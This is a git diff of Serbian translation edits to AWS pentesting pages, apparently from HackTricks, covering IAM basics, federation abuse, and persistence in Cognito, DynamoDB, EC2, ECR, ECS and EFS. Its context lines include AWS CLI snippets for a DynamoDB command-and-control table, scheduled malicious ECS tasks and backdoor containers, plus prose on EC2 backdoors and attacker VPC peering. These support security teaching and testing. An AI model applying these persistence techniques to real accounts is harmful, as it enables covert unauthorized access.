-Možete koristiti **besplatnu virtuelnu aplikaciju ili fizički uređaj**. Možete koristiti aplikacije poput Google autentifikacije besplatno za aktivaciju MFA u AWS-u.
+Možete koristiti **besplatnu virtuelnu aplikaciju ili fizički uređaj**. Možete koristiti aplikacije poput google autentifikacije besplatno za aktivaciju MFA u AWS-u.
Politike sa MFA uslovima mogu se povezati sa sledećim:
@@ -132,7 +132,7 @@ Napomena da **`AssumeRole` akreditivi ne sadrže ove informacije**.
```bash
aws sts get-session-token --serial-number --token-code
```
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), postoje mnogi različiti slučajevi gde **MFA ne može biti korišćen**.
+Kao [**što je ovde navedeno**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), postoji mnogo različitih slučajeva gde **MFA ne može biti korišćen**.
### [IAM korisničke grupe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
@@ -145,25 +145,25 @@ Evo nekih važnih karakteristika korisničkih grupa:
- **Korisnička grupa** može **sadržati mnogo korisnika**, a **korisnik** može **pripadati više grupa**.
- **Korisničke grupe ne mogu biti ugnježdene**; mogu sadržati samo korisnike, ne i druge korisničke grupe.
- Ne postoji **podrazumevana korisnička grupa koja automatski uključuje sve korisnike u AWS nalogu**. Ako želite da imate takvu korisničku grupu, morate je kreirati i dodeliti svakom novom korisniku.
-- Broj i veličina IAM resursa u AWS nalogu, kao što su broj grupa i broj grupa kojima korisnik može biti član, su ograničeni. Za više informacija, pogledajte [IAM i AWS STS kvote](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- Broj i veličina IAM resursa u AWS nalogu, kao što su broj grupa i broj grupa kojima korisnik može pripadati, su ograničeni. Za više informacija, pogledajte [IAM i AWS STS kvote](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [IAM uloge](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-IAM **uloga** je vrlo **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a.
+IAM **uloga** je veoma **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a.
IAM uloga se sastoji od **dvaju tipova politika**: **politika poverenja**, koja ne može biti prazna, definišući **ko može preuzeti** ulogu, i **politika dozvola**, koja ne može biti prazna, definišući **šta može pristupiti**.
#### AWS Security Token Service (STS)
-AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih akreditiva**. Specijalno je prilagođen za:
+AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih privilegija akreditiva**. Specijalno je prilagođen za:
### [Privremeni akreditivi u IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola od vašeg standardnog IAM korisnika. Ovo **sprečava** vas od **slučajnog obavljanja zadataka koji nisu dozvoljeni** sa ograničenim akreditivima. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni.
+**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola od vašeg standardnog IAM korisnika. Ovo **sprečava** vas da **slučajno izvršavate zadatke koji nisu dozvoljeni** od strane ograničenih akreditiva. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni.
### Politike
-#### Dozvole politike
+#### Dozvole politika
Koriste se za dodeljivanje dozvola. Postoje 2 tipa:
@@ -194,31 +194,31 @@ Ako **jedna "Odbij" postoji, ona će nadjačati "Dozvoli"**, osim za zahteve koj
]
}
```
-The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+[Globalna polja koja se mogu koristiti za uslove u bilo kojoj usluzi su dokumentovana ovde](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+[Specifična polja koja se mogu koristiti za uslove po usluzi su dokumentovana ovde](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
-#### Inline Policies
+#### Inline politike
-Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika kao što to može biti slučaj sa bilo kojom drugom.\
-Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onog za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno povezane sa pogrešnim identitetom. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta.
+Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika jer ih može koristiti bilo ko drugi.\
+Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onom za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno povezane sa pogrešnim identitetom. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta.
-#### Resource Bucket Policies
+#### Politike resursnog kante
Ovo su **politike** koje se mogu definisati u **resursima**. **Nisu svi resursi AWS-a podržavaju njih**.
Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im omogućava pristup, tada su dozvoljeni.
-### IAM Boundaries
+### IAM granice
IAM granice se mogu koristiti za **ograničavanje dozvola kojima korisnik ili uloga treba da imaju pristup**. Na ovaj način, čak i ako se korisniku dodeli drugačiji skup dozvola putem **druge politike**, operacija će **neuspeti** ako pokuša da ih koristi.
Granica je samo politika koja je povezana sa korisnikom i **ukazuje na maksimalni nivo dozvola koje korisnik ili uloga mogu imati**. Dakle, **čak i ako korisnik ima Administrator pristup**, ako granica ukazuje da može samo da čita S· kante, to je maksimum što može da uradi.
-**Ovo**, **SCPs** i **pridržavanje principa minimalnih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno.
+**Ovo**, **SCP-ovi** i **pridržavanje principa najmanjih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno.
-### Session Policies
+### Politike sesije
-Politika sesije je **politika postavljena kada se uloga preuzima** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima).
+Politika sesije je **politika postavljena kada se neka uloga preuzima** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima).
Ovo je korisno za **bezbednosne mere**: Kada administrator preuzima veoma privilegovanu ulogu, mogao bi da ograniči dozvolu samo na one koje su navedene u politici sesije u slučaju da sesija bude kompromitovana.
```bash
@@ -237,7 +237,7 @@ Stoga, ako se u nekom trenutku suočite sa greškom "... jer nijedna politika se
Identitetna federacija **omogućava korisnicima iz identitetskih provajdera koji su eksterni** za AWS da sigurno pristupaju AWS resursima bez potrebe da dostavljaju AWS korisničke akreditive iz važećeg IAM korisničkog naloga.\
Primer identitetskog provajdera može biti vaša vlastita korporativna **Microsoft Active Directory** (putem **SAML**) ili **OpenID** usluga (kao što je **Google**). Federisani pristup će tada omogućiti korisnicima unutar njega da pristupaju AWS-u.
-Da biste konfigurisali ovo poverenje, generiše se **IAM identitetski provajder (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujuća) identitetskom provajderu**. Ako korisnik iz poverene platforme pristupi AWS-u, pristupaće kao pomenuta uloga.
+Da biste konfigurisali ovo poverenje, generiše se **IAM identitetski provajder (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujući) identitetskom provajderu**. Ako korisnik iz poverene platforme pristupi AWS-u, pristupaće kao pomenuta uloga.
Međutim, obično ćete želeti da dodelite **različitu ulogu u zavisnosti od grupe korisnika** na trećoj strani. Tada, nekoliko **IAM uloga može verovati** trećem identitetskom provajderu, a treća platforma će biti ta koja omogućava korisnicima da preuzmu jednu ili drugu ulogu.
@@ -259,7 +259,7 @@ Da bi se prijavili korisnici, postoje 3 izvora identiteta koji se mogu koristiti
U najjednostavnijem slučaju direktorijuma Identitetnog Centra, **Identitetni Centar će imati listu korisnika i grupa** i moći će da **dodeli politike** njima za **bilo koji od naloga** organizacije.
-Da biste dali pristup korisniku/grupi Identitetnog Centra nalogu, **biće kreiran SAML identitetski provajder koji veruje Identitetnom Centru**, a **uloga koja veruje identitetskom provajderu sa navedenim politikama biće kreirana** u odredišnom nalogu.
+Da biste dali pristup korisniku/grupi Identitetnog Centra nalogu, **SAML identitetski provajder koji veruje Identitetnom Centru će biti kreiran**, a **uloga koja veruje identitetskom provajderu sa navedenim politikama će biti kreirana** u odredišnom nalogu.
#### AwsSSOInlinePolicy
@@ -269,8 +269,8 @@ Stoga, čak i ako vidite 2 uloge sa inline politikom pod nazivom **`AwsSSOInline
### Cross Account Trusts and Roles
-**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim **dozvoliti drugom korisniku** (verovanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naznačen u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između naloga nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\
-Preporučuje se da **precizirate korisnika koji je poveren i ne stavljate neku generičku stvar** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje.
+**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim **dozvoliti drugom korisniku** (pouzdanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naveden u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između AWS naloga koje posedujete nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\
+Preporučuje se da **precizirate korisnika koji je pouzdan i ne stavljate neku generičku stvar** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje.
### AWS Simple AD
@@ -279,19 +279,19 @@ Nije podržano:
- Odnos poverenja
- AD Admin Centar
- Puna PS API podrška
-- AD Kanta za reciklažu
+- AD Recycle Bin
- Grupa upravljanih servisnih naloga
-- Proširenja šeme
-- Nema direktan pristup OS-u ili instancama
+- Ekstenzije šeme
+- Nema direktnog pristupa OS-u ili instancama
#### Web Federacija ili OpenID Autentifikacija
-Aplikacija koristi AssumeRoleWithWebIdentity za kreiranje privremenih akreditiva. Međutim, ovo ne daje pristup AWS konzoli, samo pristup resursima unutar AWS-a.
+Aplikacija koristi AssumeRoleWithWebIdentity za kreiranje privremenih akreditiva. Međutim, ovo ne omogućava pristup AWS konzoli, samo pristup resursima unutar AWS-a.
### Druge IAM opcije
-- Možete **postaviti podešavanje politike lozinke** kao što su minimalna dužina i zahtevi za lozinku.
-- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i jednom svaka **četiri sata**.
+- Možete **postaviti podešavanje politike lozinke** sa opcijama kao što su minimalna dužina i zahtevi za lozinkom.
+- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i svaka **četiri sata**.
AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešavanje kontrole pristupa** širom celog AWS-a. Sa IAM-om, možete precizirati **ko može pristupiti kojim uslugama i resursima**, i pod kojim uslovima. Sa IAM politikama, upravljate dozvolama za vašu radnu snagu i sisteme kako biste **osigurali dozvole sa najmanjim privilegijama**.
@@ -299,9 +299,9 @@ AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešavanje kontrol
Na [**ovoj stranici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) možete pronaći **IAM ID prefikse** ključeva u zavisnosti od njihove prirode:
-| ABIA | [AWS STS servisni token nosilac](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| ABIA | [AWS STS servisni nosilac tokena](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Kontekstualni akreditiv |
+| ACCA | Kontekst-specifični akreditiv |
| AGPA | Korisnička grupa |
| AIDA | IAM korisnik |
| AIPA | Amazon EC2 profil instance |
@@ -331,7 +331,7 @@ Sledeće privilegije daju različit pristup metapodacima:
### CLI Autentifikacija
Da bi regularni korisnik autentifikovao AWS putem CLI, potrebno je imati **lokalne akreditive**. Po defaultu, možete ih konfigurisati **ručno** u `~/.aws/credentials` ili **pokretanjem** `aws configure`.\
-U toj datoteci možete imati više od jednog profila, ako **nije specificiran profil** koristeći **aws cli**, koristiće se onaj nazvan **`[default]`** u toj datoteci.\
+U toj datoteci možete imati više od jednog profila, ako **nije specificiran profil** koristeći **aws cli**, koristiće se onaj pod nazivom **`[default]`** u toj datoteci.\
Primer datoteke akreditiva sa više od 1 profila:
```
[default]
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 598b9a8c0..358081bc7 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -1,4 +1,4 @@
-# AWS - Zloupotreba federacije
+# AWS - Zloupotreba Federacije
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,9 +10,9 @@ Za informacije o SAML-u, molimo proverite:
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-Da biste konfigurisali **Identitetsku federaciju putem SAML-a**, potrebno je da obezbedite **ime** i **metadata XML** koji sadrži svu SAML konfiguraciju (**endpoints**, **sertifikat** sa javnim ključem)
+Da biste konfigurisali **Identitetsku Federaciju putem SAML-a**, potrebno je da obezbedite **ime** i **metadata XML** koji sadrži svu SAML konfiguraciju (**endpoints**, **sertifikat** sa javnim ključem)
-## OIDC - Zloupotreba Github akcija
+## OIDC - Zloupotreba Github Akcija
Da biste dodali github akciju kao provajdera identiteta:
@@ -20,7 +20,7 @@ Da biste dodali github akciju kao provajdera identiteta:
2. Za _URL provajdera_, unesite `https://token.actions.githubusercontent.com`
3. Kliknite na _Preuzmi otisak_ da biste dobili otisak provajdera
4. Za _Publiku_, unesite `sts.amazonaws.com`
-5. Kreirajte **novu ulogu** sa **dozvolama** koje github akcija zahteva i **politiku poverenja** koja veruje provajderu kao:
+5. Kreirajte **novu ulogu** sa **dozvolama** koje github akcija treba i **politiku poverenja** koja veruje provajderu kao:
- ```json
{
"Version": "2012-10-17",
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-Moguće je generisati **OIDC provajdere** u **EKS** klasteru jednostavno postavljanjem **OIDC URL-a** klastera kao **novog Open ID provajdera identiteta**. Ovo je uobičajena podrazumevana politika:
+Moguće je generisati **OIDC providers** u **EKS** klasteru jednostavno postavljanjem **OIDC URL** klastera kao **novog Open ID Identity provider**. Ovo je uobičajena podrazumevana politika:
```json
{
"Version": "2012-10-17",
@@ -108,13 +108,13 @@ Moguće je generisati **OIDC provajdere** u **EKS** klasteru jednostavno postavl
]
}
```
-Ova politika ispravno ukazuje da **samo** **EKS klaster** sa **id** `20C159CDF6F2349B68846BEC03BE031B` može preuzeti ulogu. Međutim, ne ukazuje koja usluga može preuzeti, što znači da **BILO koja usluga sa web identitet tokenom** će moći da **preuzme** ulogu.
+Ova politika ispravno ukazuje da **samo** **EKS klaster** sa **id** `20C159CDF6F2349B68846BEC03BE031B` može preuzeti ulogu. Međutim, ne ukazuje koja usluga može da je preuzme, što znači da **BILO koja usluga sa web identitet tokenom** će moći da **preuzme** ulogu.
-Da bi se odredilo **koja usluga bi trebala da može da preuzme ulogu,** potrebno je odrediti **uslov** gde je **ime usluge navedeno**, kao što je:
+Da bi se preciziralo **koja usluga bi mogla da preuzme ulogu,** potrebno je navesti **uslov** gde je **ime usluge navedeno**, kao što je:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-## References
+## Reference
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index 1f9aadbca..7634e1dca 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -10,18 +10,18 @@ Za više informacija, pristupite:
../aws-services/aws-cognito-enum/
{{#endref}}
-### User persistence
+### Održavanje korisnika
Cognito je servis koji omogućava dodeljivanje uloga neautentifikovanim i autentifikovanim korisnicima i kontrolu direktorijuma korisnika. Nekoliko različitih konfiguracija može biti izmenjeno kako bi se održala neka postojanost, kao što su:
- **Dodavanje User Pool-a** koji kontroliše korisnik u Identity Pool
-- Dodeljivanje **IAM uloge neautentifikovanom Identity Pool-u i omogućavanje Basic auth flow**
+- Dodeljivanje **IAM uloge neautentifikovanom Identity Pool-u i omogućavanje Basic auth toka**
- Ili **autentifikovanom Identity Pool-u** ako napadač može da se prijavi
- Ili **poboljšanje dozvola** datih uloga
- **Kreiranje, verifikacija & privesc** putem atributima kontrolisanih korisnika ili novih korisnika u **User Pool-u**
- **Omogućavanje eksternim Identity Provider-ima** da se prijave u User Pool ili u Identity Pool
-Proverite kako da izvršite ove akcije u
+Proverite kako da izvršite ove radnje u
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 12a47c1cf..6a2fe61fd 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \
--event-source \
--region
```
-Da bi održao postojanost, napadač može da kreira ili menja stavke u DynamoDB tabeli, što će pokrenuti zlonamernu Lambda funkciju. Ovo omogućava napadaču da izvrši kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom.
+Da bi održao persistenciju, napadač može da kreira ili modifikuje stavke u DynamoDB tabeli, što će pokrenuti zlonamernu Lambda funkciju. Ovo omogućava napadaču da izvrši kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom.
### DynamoDB kao C2 kanal
-Napadač može koristiti DynamoDB tabelu kao **command and control (C2) kanal** kreiranjem stavki koje sadrže komande i korišćenjem kompromitovanih instanci ili Lambda funkcija za preuzimanje i izvršavanje ovih komandi.
+Napadač može koristiti DynamoDB tabelu kao **command and control (C2) channel** kreiranjem stavki koje sadrže komande i korišćenjem kompromitovanih instanci ili Lambda funkcija za preuzimanje i izvršavanje ovih komandi.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
@@ -54,6 +54,6 @@ aws dynamodb put-item \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region
```
-Kompromitovane instance ili Lambda funkcije mogu povremeno proveravati C2 tabelu za nove komande, izvršavati ih i po želji izveštavati o rezultatima nazad u tabelu. Ovo omogućava napadaču da održi postojanost i kontrolu nad kompromitovanim resursima.
+Kompromitovane instance ili Lambda funkcije mogu periodično proveravati C2 tabelu za nove komande, izvršavati ih i po potrebi izveštavati o rezultatima nazad u tabelu. Ovo omogućava napadaču da održi postojanost i kontrolu nad kompromitovanim resursima.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index e32207ea0..2e66c055d 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -18,7 +18,7 @@ Ako je napadač imao **obrnuti shell koji potiče sa mašine**, čak i ako je SG
### EC2 Menadžer životnog ciklusa
-Ova usluga omogućava **zakazivanje** **kreiranja AMI-a i snimaka** i čak **deljenje sa drugim nalozima**.\
+Ova usluga omogućava da se **zakazivanje** **kreiranja AMI-a i snimaka** i čak **deljenje sa drugim nalozima**.\
Napadač bi mogao da konfiguriše **generisanje AMI-a ili snimaka** svih slika ili svih volumena **svake nedelje** i **podeli ih sa svojim nalogom**.
### Zakazane instance
@@ -27,28 +27,28 @@ Moguće je zakazati instance da se pokreću dnevno, nedeljno ili čak mesečno.
### Spot Fleet Zahtev
-Spot instance su **jeftinije** od redovnih instanci. Napadač bi mogao da pokrene **mali spot fleet zahtev za 5 godina** (na primer), sa **automatskom IP** dodelom i **korisničkim podacima** koji šalju napadaču **kada spot instanca počne** i **IP adresu** i sa **IAM ulogom sa visokim privilegijama**.
+Spot instance su **jeftinije** od redovnih instanci. Napadač bi mogao da pokrene **mali spot fleet zahtev za 5 godina** (na primer), sa **automatskom IP** dodelom i **korisničkim podacima** koji šalju napadaču **kada spot instanca počne** i **IP adresu** i sa **IAM ulogom visokih privilegija**.
-### Instanca sa zadnjim ulazom
+### Backdoor instance
-Napadač bi mogao da dobije pristup instancama i da ih zadnji ulaz:
+Napadač bi mogao da dobije pristup instancama i da ih backdoor-uje:
- Koristeći tradicionalni **rootkit** na primer
- Dodajući novu **javnu SSH ključ** (proverite [EC2 privesc opcije](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Zadnjim ulazom u **Korisničke podatke**
+- Backdoor-ovanje **Korisničkih podataka**
-### **Konfiguracija pokretanja sa zadnjim ulazom**
+### **Backdoor Konfiguracija pokretanja**
-- Zadnji ulaz u korišćeni AMI
-- Zadnji ulaz u Korisničke podatke
-- Zadnji ulaz u Par ključeva
+- Backdoor-ovati korišćeni AMI
+- Backdoor-ovati Korisničke podatke
+- Backdoor-ovati Par ključeva
### VPN
-Kreirajte VPN tako da napadač može direktno da se poveže kroz njega sa VPC-om.
+Kreirati VPN tako da napadač može direktno da se poveže kroz njega sa VPC-om.
### VPC Peering
-Kreirajte peering vezu između VPC-a žrtve i VPC-a napadača kako bi mogao da pristupi VPC-u žrtve.
+Kreirati peering vezu između VPC-a žrtve i VPC-a napadača kako bi mogao da pristupi VPC-u žrtve.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 949ab1743..63738d7e8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -43,13 +43,13 @@ aws ecr set-repository-policy \
> [!WARNING]
> Imajte na umu da ECR zahteva da korisnici imaju **dozvolu** da pozivaju **`ecr:GetAuthorizationToken`** API putem IAM politike **pre nego što se mogu autentifikovati** na registru i slati ili preuzimati slike iz bilo kog Amazon ECR repozitorijuma.
-### Politika registracije i replikacija između naloga
+### Politika registra i replikacija između naloga
-Moguće je automatski replicirati registar u eksternom nalogu konfigurišući replikaciju između naloga, gde treba da **naznačite eksterni nalog** u kojem želite da replicirate registar.
+Moguće je automatski replicirati registar u eksternom nalogu konfigurisanjem replikacije između naloga, gde treba da **naznačite eksterni nalog** u kojem želite da replicirate registar.
-Prvo, treba da date eksternom nalogu pristup nad registrijem sa **politikom registracije** kao:
+Prvo, treba da date eksternom nalogu pristup registru putem **politike registra** kao što je:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 9e5f1a4fe..d61514218 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -1,4 +1,4 @@
-# AWS - ECS Persistence
+# AWS - ECS Persistencija
{{#include ../../../banners/hacktricks-training.md}}
@@ -15,7 +15,7 @@ Za više informacija pogledajte:
> [!NOTE]
> TODO: Test
-Napadač može kreirati sakriveni periodični ECS zadatak koristeći Amazon EventBridge da **zakazuje izvršenje zlonamernog zadatka periodično**. Ovaj zadatak može vršiti izviđanje, eksfiltrirati podatke ili održavati postojanost u AWS nalogu.
+Napadač može kreirati sakriveni periodični ECS zadatak koristeći Amazon EventBridge da **zakazuje izvršenje zlonamernog zadatka periodično**. Ovaj zadatak može vršiti izviđanje, eksfiltrirati podatke ili održavati persistenciju u AWS nalogu.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
}
]'
```
-### Backdoor Container in Existing ECS Task Definition
+### Backdoor kontejner u postojećoj ECS definiciji zadatka
> [!NOTE]
> TODO: Test
-Napadač može dodati **neprimetan backdoor kontejner** u postojeću ECS definiciju zadatka koji se pokreće zajedno sa legitimnim kontejnerima. Backdoor kontejner se može koristiti za postojanost i izvođenje zlonamernih aktivnosti.
+Napadač može dodati **neprimetan backdoor kontejner** u postojećoj ECS definiciji zadatka koji se pokreće zajedno sa legitimnim kontejnerima. Backdoor kontejner se može koristiti za persistenciju i izvođenje zlonamernih aktivnosti.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
@@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition
> [!NOTE]
> TODO: Test
-Napadač može kreirati **nedokumentovanu ECS uslugu** koja pokreće zloćudni zadatak. Postavljanjem željenog broja zadataka na minimum i onemogućavanjem logovanja, postaje teže administratorima da primete zloćudnu uslugu.
+Napadač može kreirati **nedokumentovanu ECS uslugu** koja pokreće zlonamernu radnju. Postavljanjem željenog broja radnji na minimum i onemogućavanjem logovanja, postaje teže administratorima da primete zlonamernu uslugu.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index 7ff1b45ac..0575e2055 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -16,6 +16,6 @@ Izmenom **politike resursa i/ili sigurnosnih grupa** možete pokušati da zadrž
### Kreirajte Pristupnu Tačku
-Možete **kreirati pristupnu tačku** (sa root pristupom do `/`) koja je dostupna iz servisa gde ste implementirali **drugog persistenciju** da zadržite privilegovan pristup fajl sistemu.
+Možete **kreirati pristupnu tačku** (sa root pristupom do `/`) koja je dostupna iz servisa gde ste implementirali **drugog persistencu** da zadržite privilegovan pristup fajl sistemu.
{{#include ../../../banners/hacktricks-training.md}}
